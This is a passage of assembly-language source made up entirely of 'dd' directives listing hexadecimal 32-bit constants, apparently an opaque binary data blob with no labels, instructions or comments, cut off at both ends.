0D724A0B8h, 5760A019h, 0C00CA0ACh, 3B218410h, 0A0A90A18h dd 0CBAF0C54h, 390F2860h, 969E26h, 883C15E2h, 0CC0305FCh dd 0CEDAD7h, 0AC6FBEA8h, 8D02D648h, 0F3FBD593h, 0CBB0802Ch dd 2D3808h, 3B9084C2h, 325175C7h, 0D13880E9h, 160FA658h dd 30996010h, 13B949EFh, 0C377B300h, 0FDB69FCFh, 2BEB00A3h dd 8FD18BCEh, 5B005139h, 0F3F02114h, 39B0ED5Dh, 790015F9h dd 9722E34h, 2600D242h, 0F66B91Fh, 2A6BF040h, 984CAE4Ch dd 8BEE30E3h, 401DB8D8h, 0AB4A6500h, 3F8D2A5h, 0F5CD003Ah dd 94A075CFh, 0DE0C1E12h, 54340A2Ch, 0BB1A0761h, 90DA2B9Ch dd 19988E4Ch, 0CDF9CF00h, 0F23A0784h, 1CC9577Dh, 22473C23h dd 419F2A90h, 0D5B10051h, 36B394BBh, 0E10A5833h, 0C0E5FF0Fh dd 8434E0F3h, 42510093h, 9901FA2Ah, 7FE42133h, 5628CB6Fh dd 0F701B0h, 85F22DEAh, 5564DE30h, 0EF35BA1Eh, 54D70279h dd 90F3B3AAh, 1D33A5Ch, 5B1F2347h, 0E0AFCE3Fh, 2400FD97h dd 89B6B718h, 1EE9DD9Bh, 57458E57h, 0EA0600CDh, 36481CE6h dd 0BCCA9424h, 77628830h, 42E004B5h, 871E310Ch, 0A120F010h dd 8F28E83Ah, 0A500D0C8h, 0B1E5A026h, 0C247D75h, 0BF3CF71Fh dd 0B7430DB0h, 18A52FB0h, 0E1F2D043h, 0E03F4C9Ch, 0AD38EE9h dd 43CAE0B8h, 12BD87C6h, 73B60A7h, 43DB8528h, 0F5F38ADEh dd 491C05C0h, 9480F750h, 6E853C00h, 34500866h, 0E630C099h dd 0F0BB409Dh, 1DE78000h, 480D01E1h, 96170475h, 8C5B74BAh dd 0CE435574h, 0B7E241A0h, 0C49F781Fh, 0E3401083h, 0EC1904Ch dd 3A2090DDh, 0CC48A07Ch, 0C05FA218h, 97622406h, 40F21EB8h dd 6010F638h, 0D56D31FBh, 2D014E9Eh, 4247AC9Ah, 0AC4A0F85h dd 0A80098E6h, 0B2B451E5h, 12E14349h, 704F0B65h, 550FFC94h dd 80D4C549h, 1AAF4A1Bh, 849A2B45h, 9ED4D044h, 2F00AC92h dd 0AE40D5E2h, 480D9F31h, 29A0E823h, 180079E8h, 9CAED2B4h dd 21101CFh, 0F3774661h, 921D2BC1h, 90DC6876h, 5EB0E700h dd 676BF662h, 13B4FA79h, 289963B7h, 6B000758h, 9604C477h dd 3D646A4Dh, 0EF005B8Dh, 0A5A4A901h, 441DDAC9h, 803D3DECh dd 7BEAA3E1h, 3EE9A88Fh, 7880BC47h, 0DB8CA953h, 4909D73h dd 0D1CF4F02h, 6066B710h, 136BCDCCh, 43964E1h, 2288FC64h dd 7B8060BBh, 0C9690094h, 0A1272287h, 64911408h, 0F4C11354h dd 670830DFh, 48007FC9h, 61A5EA08h, 2E02A0h, 9088F753h dd 93823918h, 813C1E09h, 6B0C1510h, 0DCD17C01h, 0EE12FC99h dd 8004CF48h, 235A8C28h, 941E8A0h, 6CE7C797h, 0FEFCF008h dd 90B0DA03h, 0C0936CF6h, 50665322h, 98ADF43Dh, 99AC0AC4h dd 7080C163h, 6D1A42AAh, 6D886F93h, 1770C228h, 88E89C09h dd 3DC790h, 768ADA59h, 1F041854h, 1231FE3Ch, 1C1EF31Eh dd 0AB994B01h, 11989669h, 0C1E430A0h, 506943Ch, 8C20DE03h dd 103B100Ch, 0F50C8947h, 0D29C31FDh, 0EC9DFCC9h, 132EB89Ah dd 36025CF5h, 8A85FF50h, 3B9240CAh, 0AF751C04h, 8BB2E497h dd 2D1CE005h, 242100E8h, 9990F908h, 9D605044h, 0F75231FCh dd 8E58041Bh, 817DDCE5h, 0D4912C7Ch, 0F9058BC7h, 0BA8269E8h dd 0DA80CCC4h, 0A0336CF1h, 628AD90h, 38316DA7h, 0F63AB9D0h dd 912D8001h, 0BAFF0B69h, 0CF610014h, 8022A225h, 0DA504B86h dd 0C8900CE4h, 0B04CA42Ah, 0B3275A12h, 0DAEB9033h, 10CC60B8h dd 239D0032h, 5230CCC7h, 9E60D682h, 4A392B71h, 0AC8F00B3h dd 53DF6EE9h, 0E030B1B6h, 7DED2094h, 7C11004Fh, 389379BAh dd 39078837h, 0CDE457F3h, 15E0F230h, 0A52D0230h, 0A992568h dd 881CF868h, 17EADB00h, 7DAAEE43h, 8AD0FBC5h, 0E454900Eh dd 0A9831C34h, 0C430C095h, 0C23A910Dh, 633C9300h, 86CFE5BCh dd 29E4A0BFh, 5CE65252h, 0BC3B027Fh, 0B86F3D87h, 9026410h dd 2B5104FFh, 0E806ED41h, 0A400D0CDh, 337EFEF3h, 3F71CFCAh dd 619B2D0Bh, 9064302Ch, 20A0DE20h, 37C10CF9h, 1ED9E08Ah dd 740BCA07h, 0AC90C49Dh, 7254152h, 8ECB9FD2h, 0F7869E6Ch dd 0CD002073h, 0A333DF39h, 674666h, 3AECD925h, 4CBC6B81h dd 580042FCh, 0FF39A20Ah, 0B7F8833h, 0ACDCF76Dh, 0E40714FEh dd 10F08573h, 3FC732AEh, 0D001A18h, 5B57A1ADh, 680038A0h dd 5F63897Ch, 0A09684D6h, 0F669EA0h, 9AAFB19Ch, 43D18500h dd 5A736AF1h, 0D0780B00h, 0C18FDC86h, 24C40014h, 399143CFh dd 49000A64h, 9EF809D7h, 7CAAF437h, 96070368h, 1E15060Fh dd 0D003E0B8h, 84002271h, 874C5E9h, 18237D1h, 0B1CDA854h dd 0EFFF4ECCh, 20A59EE8h, 9F0077F6h, 6AF7D13h, 0ECD7E53Bh dd 8BAC0029h, 2E14CB90h, 7E48B373h, 2BC0098h, 0E23AA01Dh dd 81B00349h, 22747157h, 132717C8h, 9DDDBB04h, 9380AB1Dh dd 606ED146h, 8D062002h, 1F309C77h, 0D3810E1h, 0ECB203FBh dd 0D02DC842h, 68E017BBh, 0C701B441h, 73D97A15h, 9BDCB35Dh dd 18F09819h, 107075AFh, 444823DEh, 0BD50001Fh, 0D5180125h dd 0E4A8026Dh, 995A1A20h, 2F0D2090h, 8446390Ah, 8ABD1851h dd 14D8E612h, 201C58B0h, 0AD3F8C09h, 5A228029h, 59E6D61Fh dd 307956A9h, 54EE4A50h, 4D1C4Fh, 7A21ADDFh, 994842B1h dd 0C58C2E72h, 30786470h, 9240ED64h, 86BA210Eh, 0A7DA81B0h dd 384CD8E5h, 1CBA5349h, 7A128D0Ah, 0E3DCC230h, 0C78A2D38h dd 50BE9A58h, 0CA0CD958h, 9059CADh, 202003E6h, 82AE5BCDh dd 4D366830h, 34005AEEh, 636DC843h, 573A20E6h, 0C504B415h dd 23FBB71Eh, 0D301A32h dd 443B9820h, 8AE35805h, 18404FF5h, 4860AFADh, 65340A39h dd 80B87953h, 16C155DAh, 0C08E35BAh, 69DB4778h, 84102Bh dd 5508674Dh, 17FF1B99h, 0E031DA31h, 0E052145Ah, 11C0BBA6h dd 0C0562B90h, 0E6B9FCEDh, 0BAD33A79h, 0E4155076h, 0AF2331FAh dd 20AA7DD8h, 0A0DD6624h, 5079A908h, 656B927h, 0B68D148Ch dd 8C1929D4h, 999013C2h, 7F42D18h, 0C5D93055h, 64C71990h dd 17595318h, 3CF39998h, 0FC3145F2h, 4725D908h, 10F0E6BCh dd 0BE6CB93Ch, 3CE22969h, 2B07A86Ch, 0A46A27h, 15560DCDh dd 78C5F35Ah, 0A80A81F9h, 7984883Ah, 181DB0E0h, 0C86E80F3h dd 0C4B02253h, 6B228C33h, 50806D00h, 14190369h, 0FB95366h dd 26F9A809h, 0CD64068Ch, 0B1B4A558h, 9F87FB0h, 890D5181h dd 0EC99E555h, 394845F4h, 888A654h, 500343BBh, 0CC9FAD60h dd 0B9FA1317h, 84583966h, 69F58770h, 71D74D60h, 0CA781752h dd 0EDC03483h, 0AA550910h, 1884FC0h, 56BE0DBCh, 10843408h dd 3954B700h, 9A16C0B8h, 22362462h, 84A85BACh, 2F260E2Ah dd 520A8819h, 985350EAh, 605775DEh, 0F4AD2837h, 5A1417EDh dd 0E09CF322h, 308FFA9Dh, 4D3021EBh, 6B041557h, 69239279h dd 0A408602Ch, 26AC93Bh, 53ABA3EDh, 9F0CE496h, 891746AEh dd 5A073C8Dh, 117E2857h, 17EE8FB1h, 4109972Dh, 40894B9h dd 10B63E0Dh, 5A6090CFh, 7A1D4054h, 3A00558Ch, 0E2086DB2h dd 977B0003h, 86A72B78h, 2300D0EFh, 898A17D4h, 3D2FA46h dd 9A3A54E1h, 83C152E6h, 20B8CBFEh, 20A813A5h, 54004B3Bh dd 0D31C9E2Fh, 0C88CDB7h, 5A03BA46h, 40DED770h, 48E7330Dh dd 0E82098F2h, 0C8361010h, 0EED705A8h, 14705392h, 2023C0C3h dd 7719DC19h, 1D6059E4h, 801868A3h, 0C2605EAAh, 0D4792546h dd 0FB06448h, 535DF33Ah, 406F5C05h, 6B3F6870h, 2D513149h dd 7E3738h, 0A55B2CDAh, 73910318h, 69185F87h, 7A60DF57h dd 614A61Ch, 0E1E64104h, 0F714C0A9h, 8010C1C0h, 0A0324C09h dd 1C7E83Dh, 536C7C17h, 0D26D247Ah, 2C06DC96h, 32BBBFEFh dd 82B73230h, 84945A28h, 88649A04h, 0D704455Dh, 70088412h dd 0DA14DB50h, 77C96C63h, 5A280350h, 34AC17BDh, 0FCF851A0h dd 0A2494C00h, 0ED96F178h, 74CD00EAh, 7138DF6Bh, 5B3CFF61h dd 91F0F3Bh, 0FC1F1D65h, 0A17F6E80h, 155F1BD4h, 28A96484h dd 32CF4800h, 0E87EEC7Dh, 5CACCA03h, 1545F6Ch, 8F98BF48h dd 80B0FF6Eh, 4BC89F40h, 0A624DF68h, 0B42064Ch, 48B3DA7Ch dd 0D87AAA02h, 988EBF6Ch, 10DDA838h, 107E2E0h, 61137F8Ah dd 68A3949Fh, 0AA768150h, 29EC79h, 57526Ah, 0BF59BE8Fh dd 0F88481D2h, 0C118AB54h, 4F628000h, 4AEEAF97h, 0A09E80FEh dd 0A680E543h, 92A82D79h, 2AED9708h, 542C8DBCh, 1BB3E068h dd 70664AEh, 0E703E088h, 2B0A7F68h, 83606C5Fh, 94463820h dd 0EA0060DEh, 0DF624EC8h, 0AE6B7710h, 0DCD50518h, 2FFF05Ah dd 25C5CAF0h, 7A8B880h, 9F0F7F6Dh, 8C3F6A10h, 74D01824h dd 63C2F0BAh, 2BF9584Dh, 8A360804h, 208A7F6Ch, 7A865803h dd 90188CECh, 9F500BAAh, 0C0BC601Ch, 0BF68A8D5h, 620730F4h dd 6DE43A3Fh, 0C12D7743h, 88C5A1Fh, 7F205EBFh, 6D375600h dd 1BA6AFDFh, 4426481Fh, 122A9F0Eh, 401D019Fh, 57D97F5Fh dd 813C07F4h, 0F33DA3FFh, 803EEDC1h, 63458A10h, 9048C8DFh dd 4C653764h, 0C19B8560h, 946688A2h, 0C7682818h, 0D8F2015Bh dd 0C98A0014h, 0DF006C62h, 0BF6D0519h, 306182A0h, 0C4C1455Fh dd 72D81BA5h, 18447081h, 8553F6Ch, 4091911Fh, 6EC34940h dd 0D35C882Bh, 546494A0h, 27F6914h, 29BF0CD0h, 10478C0h dd 47DE8FFBh, 0C9FF6D34h, 0E188B787h, 6C2A614Fh, 0DC21059Fh dd 6D094D2h, 5C1ED216h, 4A2070B7h, 0F3BF193Ch, 9DD7A8FAh dd 0ACA8C761h, 625AA315h, 1C19C024h, 909B8081h, 522A2850h dd 341F10F4h, 421E02E8h, 402E7F68h, 0A0253F2Ch, 0C6CFFF9Ch dd 0D880BF28h, 78C07AF8h, 6E996B7Fh, 30D9269Fh, 0EA030930h dd 0EBE19400h, 56315F69h, 0FBD600Ch, 0C102DFD0h, 8A55EA8h dd 0BE82F169h, 98EE0E20h, 2617836Eh, 0B910E168h, 61095FD0h dd 0A364780Eh, 3EADE06Dh, 0C228B1B8h, 9360FC73h, 902060F9h dd 0BE59317Eh, 0E11FD8C8h, 8FA8E55Eh, 1C1E9350h, 0FF587C98h dd 18A9643Fh, 0DF949117h, 270898C4h, 666F3E38h, 89210C5h dd 20C1BF31h, 888E899Fh, 62C1FE1Fh, 3081E1FFh, 9D4884A8h dd 0B7680F8Ch, 51690460h, 2985B880h, 78D3F163h, 0C3EF2630h dd 0C0501898h, 2848E6BFh, 0F48B0900h, 0A75E8469h, 534E9881h dd 186F9043h, 68B6FF18h, 0C083AEBFh, 0F06EB0E7h, 0FB19C44Ah dd 715F828Ah, 63E16443h, 0FEF031E2h, 835B8A6h, 0B311FE12h dd 0D5BB7007h, 0F2433F41h, 0A02E2020h, 0A02BFF84h, 74987E80h dd 719E071Ch, 0D59F6D36h, 0A1880C8Bh, 0D241F40h, 0FD0B14AFh dd 72040E20h, 7749FC1Fh, 6F700486h, 987FAC80h, 0C020C56Bh dd 33E00C35h, 0C0DE4EF9h, 0AC4A9113h, 229898AAh, 0A0A4C1B9h dd 0A1A2A94h, 44F1FE90h, 0AC9A0CA4h, 9777DA8h, 78C67F24h dd 4C95BF04h, 3AA8470Ah, 102BE618h, 98A34F68h, 0F84064EAh dd 88A25506h, 2602B045h, 486DA4FAh, 48420AE8h, 0A5128006h dd 0B3500911h, 225F7002h, 0D2A35043h, 729F0813h, 98132C4Ah dd 25F91E06h, 81D6218h, 1F02045Fh, 1EAC8192h, 18982757h dd 0E89E1095h, 0CCCE950h, 0C61210DDh, 0E7DF5003h, 7B8012Ch dd 0A05F633Ah, 0F43FD039h, 5EF00090h, 7F246098h, 0CF942C3Ch dd 0A51F0CACh, 48773029h, 0AF3244B6h, 0FF025121h, 84908EDAh dd 0A0C2885Fh, 0E9B48E7Fh, 69340F70h, 6F2C269Eh, 0C784FE68h dd 0DCFE3F28h, 0B8503990h, 0B164B6B8h, 2C876C28h, 0F8C72DE4h dd 141F12CEh, 0C8055412h, 0FC46AF3Eh, 310834C4h, 4128364Ah dd 7D2820B0h, 876584A8h, 2F581092h, 80482824h, 0A049C8A2h dd 291C2453h, 0E4907090h, 1BDC944Ch, 0B1D881B5h, 0C8626B32h dd 9422DAC0h, 0ECA0B949h, 6D66A2EAh, 90B0B5A0h, 3B1CA278h dd 0E40BB81Ch, 0CABB4013h, 1F0820E5h, 854AD58h, 3F3FFEBFh dd 404CDCD8h, 0E4E9B4B0h, 7CBA25FEh, 3F3C60F9h, 0C034905Dh dd 0CAC2A0Eh, 7C7F5C96h, 604BF12h, 0A87046B8h, 7BBCDE5Ch dd 0B38A648h, 4CB187Fh, 0B8D2C214h, 73712E98h, 31586158h dd 3BDE184Ah, 90CA4424h, 0A71E0234h, 0F7DF6B2Eh, 0CADE8861h dd 8D1F4840h, 6E5ED8A0h, 28B80D4Ch, 0BE4DCCB9h, 549F1480h dd 73767CB8h, 24C3F9E9h, 809AD228h, 329C0120h, 0F6209EC5h dd 8EDFE082h, 21128069h, 52E43158h, 0E8A549ECh, 341CD24Fh dd 2BC23443h, 44138069h, 7CCCC2F4h, 48A3F842h, 487897BFh dd 84683569h, 7CC2240Ch, 7F34E0E6h, 0EC23505Eh, 194C9068h dd 40A8753Eh, 3F088473h, 10C260E3h, 0C504C9BEh, 98DFF034h dd 4C42F888h, 0D72470D6h, 0B973D5Ch, 0D3500911h, 6C8B5C0Fh dd 0C7861C0Fh, 65591037h, 4C63265Ch, 44448496h, 6C821DDDh dd 6FA0697Ah, 413F088Bh, 19FF9C81h, 0F6408B87h, 785805F1h dd 583F04C1h, 8FED8452h, 90AD0480h, 0E17D94C1h, 6291B460h dd 8C52106Bh, 30659461h, 0FD321F98h, 0E88888B0h, 173DE3B8h dd 1FC09F1Eh, 0C913A4h, 0A055FFA0h, 437CAAE7h, 601E4C90h dd 1B0FEED5h, 0B52A002Fh, 31EAF6FEh, 5C203641h, 856AE0C8h dd 7F9EE3Ah, 0EAF2491Dh dd 2AEDDC90h, 0EFF40630h, 10A7978Ah, 0F3D96306h, 0F038D44Ah dd 17D7780Dh, 643CD6Ah, 10D6A894h, 36850800h, 5FDEDD41h dd 0B8E05E2Bh, 4810E49h, 0DB06270h, 2810A031h, 7EC586h dd 616F3BE0h, 0AAF09DB4h, 0F3A1B601h, 0F660012Ah, 0DFA2C5Ch dd 0AD9B4F1Ah, 0FBF138h, 0E86AE70Ah, 24CE068Ah, 0B05BCAF6h dd 41094A0Ah, 0A7812030h, 0E6138287h, 0DCE02102h, 4F2E0AF3h dd 100CC440h, 3E0E7826h, 7414E911h, 2A804084h, 6931D371h dd 40480180h, 94604A0Bh, 0EDFD82B8h, 0CB29288Ah, 207153A0h dd 5A6B3506h, 1EE8C1E1h, 0C17440D1h, 0ED83EBC7h, 13C1698Ah dd 60A0088h, 326AF4E4h, 2A18E674h, 3D78BFA4h, 4AED07C9h dd 4FF26192h, 18846E4Ah, 0E26A0864h, 0BAF46250h, 0D3408FFBh dd 4A1E9E6Dh, 1AAA0EFCh, 2D0CBF7Ch, 0C550849h, 0BD0AEEE1h dd 711C8A18h, 0A94EEAFAh, 920C9EFBh, 0FB0DE059h, 48511F20h dd 0E31844D3h, 0A94618DDh, 1FD990C0h, 0AE158AF5h, 779100C4h dd 4FEB1E2Dh, 9530A174h, 78ED409Eh, 0FCBCE8F2h, 2DEA20F5h dd 0E960D9F8h, 0F0B13AA8h, 0ACDE57CAh, 2D6E7102h, 8100BC58h dd 0AE90892h, 0F3E1834Ah, 21AF5BE4h, 6796E7h, 563A5C61h dd 85002CEFh, 0EC53E80Dh, 8F07AA7Eh, 9D1EE52h, 9BEB9AC0h dd 4FC41E03h, 843F0F10h, 7F736340h, 0ED039578h, 0D983A67Dh dd 1AFC1DFh, 0BF72409Fh, 1C51093h, 0D2250964h, 2F184833h dd 9C9AF308h, 171200FCh, 5A51441h, 38D03E77h, 0EC89C718h dd 53F162h, 9A9FE232h, 0A8C5E0F8h, 183024E5h, 0EDA2CABCh dd 0CBD2D181h, 0D0039A9Eh, 65001435h, 45104DF0h, 1C15C364h dd 0BEF31225h, 0E85A6576h, 242830CBh, 0C860F192h, 0D264F2B1h dd 53653009h, 369E8550h, 0E33045E8h, 3FD490CEh, 3E2CF012h dd 5D1E15BAh, 632503FFh, 13A00FA9h, 0C57D09C6h, 0A39A9D0Ch dd 60A528ABh, 2F63A82Dh, 7DF0104Eh, 0E4E508C3h, 83A801B6h dd 9FC51321h, 8485D023h, 94E510C3h, 61180A10h, 30D4122Eh dd 81FA520h, 0CE6F05F8h, 0F18E0C08h, 0B4E751DAh, 2A051187h dd 0D08C8EE6h, 4616518h, 0E4BD8508h, 0C8CF103h, 0C21F6107h dd 4C562520h, 48AA484h, 1481C5E5h, 0B047B905h, 0E7B0A983h dd 37208CB6h, 0C650D7A5h, 851438FFh, 1990C21Bh, 0B920C1ADh dd 2A1428BEh, 0A730805Bh, 67E4C578h, 503990Ah, 9212B43Bh dd 8E852C06h, 62833118h, 99E55349h, 0F5111F98h, 0A0853087h dd 0B8C54130h, 0D8088341h, 0EA439965h, 6BE483D9h, 7C103B64h dd 0FCA39C85h, 39B00620h, 3733886Fh, 0C452D859h, 4510250Ch dd 6508E967h, 9409B2EEh, 66980E63h, 61285715h, 3CC53099h dd 2E588018h, 5DE39BEAh, 9250C96Dh, 2853C01h, 72808C5Fh dd 0CF6085Ch, 9251061h, 476A4520h, 7B587450h, 0E1FDB062h dd 20924C20h, 0D0A5D12Ah, 57806A1Dh, 922D27C8h, 58B348B2h dd 0C7C07452h, 2E011AD6h, 0C95228C2h, 7B047D2h, 44A8B737h dd 0BB7202FDh, 30AC413Ah, 1870B844h, 2016341Fh, 1224D6BCh dd 0C50478B1h, 4817246h, 0F0415DDAh, 0AC436CD1h, 240922EEh dd 2848AE32h, 250C400Ah, 5C08D4EDh, 0C6C0E24h, 29080C92h dd 73403882h, 0A28E22FAh, 0C4623224h, 0BB616506h, 0D0994888h dd 280C2874h, 0D39D28B4h, 0EC1950A4h, 0C0A450A3h, 0A26902A5h dd 5A48C39Ah, 4E04C89Ch, 0FCBC893Dh, 120AD20Ch, 0B932A512h dd 71F6EC0Ch, 4568CFA9h, 56484F6Ch, 3310C90h, 1C5108Bh dd 8F04F852h, 8AE00680h, 6E173440h, 0A93C60F8h, 4854C6DAh dd 0FC48F2F0h, 15047B4h, 0E69A67F7h, 1820B2D9h, 0F820AC4h dd 4C8B3C5h, 823DD305h, 30682FA0h, 0F8C64B0Ch, 6EB06F21h dd 0A4849865h, 0FEBC815Eh, 80983362h, 0B1C1665h, 293892A5h dd 4348E5C4h, 1C9128AFh, 0E03C64FEh, 1200B94Ch, 7C052F89h dd 0B806B824h, 320893ACh, 2248F38Eh, 4465B442h, 4EF62583h dd 72E11843h, 9EC5D06Eh, 0F0E83098h, 81A06153h, 9CDBD6AEh dd 3A12898Ch, 0D314538h, 540E703Fh, 3E87388Ah, 12023D4h dd 0EC7F367Ah, 327896D8h, 0C436028h, 0E25B56E4h, 8959D220h dd 55101400h, 646C29A8h, 718D6783h, 0F2511880h, 26453087h dd 0FC817CA5h, 0C8BA360Bh, 28DF0435h, 9E432B9h, 1049D165h dd 4F0E0C96h, 3821973Ch, 0B0C2B238h, 440314ACh, 63A34C59h dd 48C13AF1h, 30C271D8h, 475450C3h, 8BBC0004h, 0A92A6F38h dd 3FF6C8A0h, 83C27481h, 24EA2DF4h, 157418D0h, 648138A5h dd 8804CDA0h, 2C621241h, 0CD9F5828h, 0C0DE0329h, 0AC025916h dd 40E951E3h, 0A76E1FC0h, 0CF4B0280h, 0D22023D7h, 91122CFBh dd 13476710h, 8914522Eh, 47AC01F2h, 0E4280214h, 0A56E893Ah dd 688458C4h, 4538C2Ch, 403211B7h, 3890822Ch, 0BF0588C0h dd 4180EA6Fh, 0B65A8C49h, 0CBBA0880h, 0EE27F0C4h, 1B1F1E00h dd 0DCD3ED14h, 0ACD0141h, 88548BF6h, 3011C7DBh, 0F8C1259Ah dd 10D999C2h, 0F74716h, 7A7B9B88h, 206D3A8Ch, 510AF143h dd 7F32E19h, 80B60ACEh, 3EDB8910h, 7B88EF15h, 53BF8030h dd 0C52890B9h, 3076D630h, 0EC20E610h, 538B9D0Fh, 93C6E70Ah dd 0FA5CBA10h, 3A3B1D88h, 7CFB03F5h, 0E2A1890Eh, 8B06018Ah dd 0FC77089Dh, 266C3B80h, 25A47A91h, 2C745CE9h, 73E3F418h dd 0D83496B9h, 489A4959h, 0F83D61C7h, 0AA7B1BC1h, 66431AF0h dd 587ED8EAh, 2739FA1Ah, 3D303068h, 40DE0058h, 360A4BD3h dd 58C8B9FAh, 7C5B154Dh, 532D0292h, 0BC83E9FDh, 9019CF56h dd 3B0876BBh, 1A02BC4Ah, 4482928Dh, 591ECA5h, 3074FA84h dd 8C0D5F14h, 0A8BB7D28h, 0E0A71631h, 5890313Ah, 0E6DCA0DBh dd 0BC453116h, 0BEAAB630h, 83CC23B0h, 2A48E957h, 0D628E0BEh dd 0FB56FC16h, 0AA491F40h, 0DBDFA08h, 1C28EB76h, 4218323Ch dd 9651A1E8h, 93BC2466h, 63A15838h, 8654A376h, 0A8A7A9ACh dd 0F74E8680h, 81CE04B8h, 90F8A9D6h, 2F96E460h, 0F629C563h dd 1AE80AE5h, 6474C678h, 0A48D0A2Ah, 2B4C7048h, 890E50DAh dd 7714C404h, 61F2B601h, 873C5C91h, 0E1B0293Bh, 0D52D651h dd 1FCAB443h, 0C22DBB08h, 15A09B8Ah, 0D9824C40h, 406A1BF0h dd 30580808h, 0CD361862h, 0D076789Bh, 0A0915929h, 688E3661h dd 7C9084E7h, 0A58A84E3h, 8ACA9DF0h, 4EB4BFA1h, 0F0841032h dd 687802B0h, 28351D31h, 0C0219E56h, 5306FC4Bh, 514F239Ch dd 0BCCEF612h, 184D5838h, 297BA4C1h, 0DD620F16h, 94BD8DF0h dd 36C0B52Ch, 0B8A8FD37h, 9C9017CDh, 0F7766009h, 0C0C14C0h dd 6DD40CBEh, 0A54CD6B1h, 0B11A0AA2h, 0D421BC03h, 81DAD643h dd 0AC509C0Ch, 0AE920693h, 14BA3B5Ch, 9629E1B1h, 2B103447h dd 40A9A81h, 0D3449E0Ch, 693640D1h, 673C58A9h, 0D188F3B6h dd 0CD562904h, 3C8B91FEh, 0E71D940Eh, 0F6AC40B3h, 0CCA0FD0Ch dd 3F140900h, 1116F21Ah, 681C00ACh, 0B3E43AEh, 26059520h dd 0D0CA2BBh, 7E01430h, 0CB9102E6h, 0C352006h, 0DDA61098h dd 0CA5CFC12h, 0C01F5B1Eh, 0EE4CA080h, 1DA3548Ch, 1A5728F2h dd 4361011h, 0C4A28103h, 0E8D76E9Ah, 138B996h, 99406B19h dd 0CC65F9CAh, 440C7303h, 3892E0ABh, 0D22C07F1h, 7056C0A0h dd 0F04EF9DCh, 6509B100h, 1A386D29h, 18C6000Dh, 5101DB21h dd 99006BAFh, 0C04B07F9h, 0ED0E6Ch, 29678DBBh, 1677FAA4h dd 19302100h, 1B359D8h, 786D0E2Ah, 0CD60C962h, 793AD36Ch dd 7345150Eh, 0BF1E864Ch dd 2C800020h, 83F7B196h, 0CE1D389Dh, 11817584h, 755CB39h dd 9BF8F0h, 54A02032h, 519D4A2Eh, 0E5275603h, 73B471A2h dd 5D6CC089h, 0C7351706h, 386FEC1Dh, 2968B218h, 0CE630046h dd 8B11A26Bh, 9F00485Dh, 73EC05Ch, 0E45ECBA0h, 7DEA00FCh dd 0A3ECB7E2h, 2900F957h, 0CA5B28Ch, 3A2E7EDCh, 39DC917h dd 6B3103BFh, 8109C7B3h, 8013118Ch, 9E14B224h, 0AFE94802h dd 0B054738h, 420C167Ah, 29F4C890h, 7ECD7110h, 4C7321A3h dd 0CD6F6960h, 77F749Dh, 0B3639EAAh, 9B6C9ED4h, 4500BBA1h dd 70223BC4h, 1A396E8h, 0ACFA3237h, 408894E3h, 14D1DA94h dd 3093C088h, 3EE8E215h, 77018572h, 735ACE53h, 188FE357h dd 50A5563Dh, 82E4400Eh, 8A7FF202h, 0AC614706h, 63086F95h dd 5C55C987h, 0EFC0A582h, 2132F224h, 80ECE157h, 92FEE13Ch dd 0B8DD01A1h, 0AC74C2BBh, 0FF409E68h, 9A40555Eh, 10098D2Fh dd 8CB63DE0h, 5675E063h, 0B6D080Fh, 82D89479h, 4CC5E523h dd 0CE660400h, 38694002h, 0E757Fh, 4349F8B7h, 5E9C5893h dd 8D0B0500h, 0BBDEEDE4h, 0ABA400B4h, 50AF3F94h, 0DA09A28Ch dd 0C8A53Eh, 30B53A78h, 51EB12CAh, 1B670049h, 921A564Eh dd 0E5EFF60Eh, 14FB0040h, 848DA7h, 0D0B334FFh, 0B9E8E76h dd 3C051AF8h, 12F192D8h, 4165CB00h, 146DB378h, 0BA1E5A58h dd 5618D93Ah, 338200Ch, 0D3887800h, 0E46E4D5Ch, 57FD00C4h dd 0AD50ABCEh, 0A2004694h, 12FCF6A5h, 1C1316C9h, 8096FAE5h dd 38214AC3h, 31065A3Bh, 85D839D5h, 0C4D40078h, 0A743A9EFh dd 0F300504Ch, 2ECEC599h, 0C0F5AED6h, 0FE26C4C1h, 0AD004AB3h dd 0DFE2F3F9h, 10D1B93Fh, 1C131473h, 840B285h, 0DBA2F1A7h dd 0FB291DF2h, 35DD0CBEh, 0E6012B20h, 0DED173Fh, 9730A148h dd 15D0FE98h, 985B8051h, 9D2BB500h, 0D1BD08BAh, 40F6A80Ah dd 0A8068EBh, 0C468FFF0h, 103942CEh, 0B001822Bh, 0FBD1EF88h dd 580FC810h, 0C1090FB0h, 7D5CAFB7h, 58B8A706h, 0C1E49485h dd 0F991A760h, 9ED27A05h, 2580EE83h, 624AA458h, 13EA59E1h dd 3FF98898h, 0FA21C47Dh, 0D1A788BEh, 3FE75200h, 0FED4A77h dd 484D1096h, 806A76C0h, 0D0034294h, 0C254BBC7h, 12BA28D1h dd 3A3FE02Ch, 0B4D6B48Bh, 6559C072h, 436008A4h, 0E9F27DF6h dd 0EBF50A02h, 83C8FD22h, 0C1EFA878h, 0E8A03468h, 0A4265478h dd 0F13D039Ah, 51358515h, 0FB2AAFF8h, 39154BF2h, 709C278Ch dd 8664FF00h, 0E882CCE9h, 46C800F4h, 0C689AF0Eh, 573C177Ah dd 0A32B8D80h, 0CB072882h, 0CDC8DCF1h, 0B5411187h, 0CC49D07Ch dd 4E1D545Eh, 6A18DDC4h, 1771421h, 0FDCF37Ch, 0F0F2FECBh dd 0E5B04DB3h, 80354033h, 976ED809h, 33060624h, 817691Ch dd 61104504h, 69C00F86h, 0EAD5F65Eh, 0D697003Ah, 0A7C73F74h dd 75003B11h, 0D2654A95h, 1F625F3Ch, 0FCCACD0Fh, 809D02F2h dd 5A04441Ah, 0C30E683h, 872C388h, 90FF2A30h, 766BA1h dd 0F970493Ch, 2BA7134Dh, 0BF561C26h, 55515A00h, 215E9C9h dd 0B027DA5Ch, 60937E4Dh, 0BC5B8DB0h, 912EC121h, 0B6FB00EDh dd 6D15B073h, 3D3C0092h, 6C80CD14h, 5400F279h, 126AACD5h dd 2BF64A10h, 0B002AFh, 4B6B8E97h, 4586DA3Ch, 7CEEE844h dd 9D944F00h, 3E722A0Fh, 8C630014h, 0C058395Fh, 4D29B58Bh dd 210158A1h, 0BF92BA73h, 0D2880819h, 138DCB00h, 9B50119Eh dd 0D0D90046h, 0A454151Fh, 0FD014A21h, 2237E8A3h, 0FACDC174h dd 7B71CDCh, 845BB293h, 8036620h, 9041D300h, 23727764h dd 4491019Bh, 0AE5E170Fh, 41CAF0E1h, 13395A07h, 0CD67E709h dd 0D786B080h, 72CB0250h, 6310DB9Ch, 31EA06h, 0AADC2EB6h dd 0C19A2973h, 448EE503h, 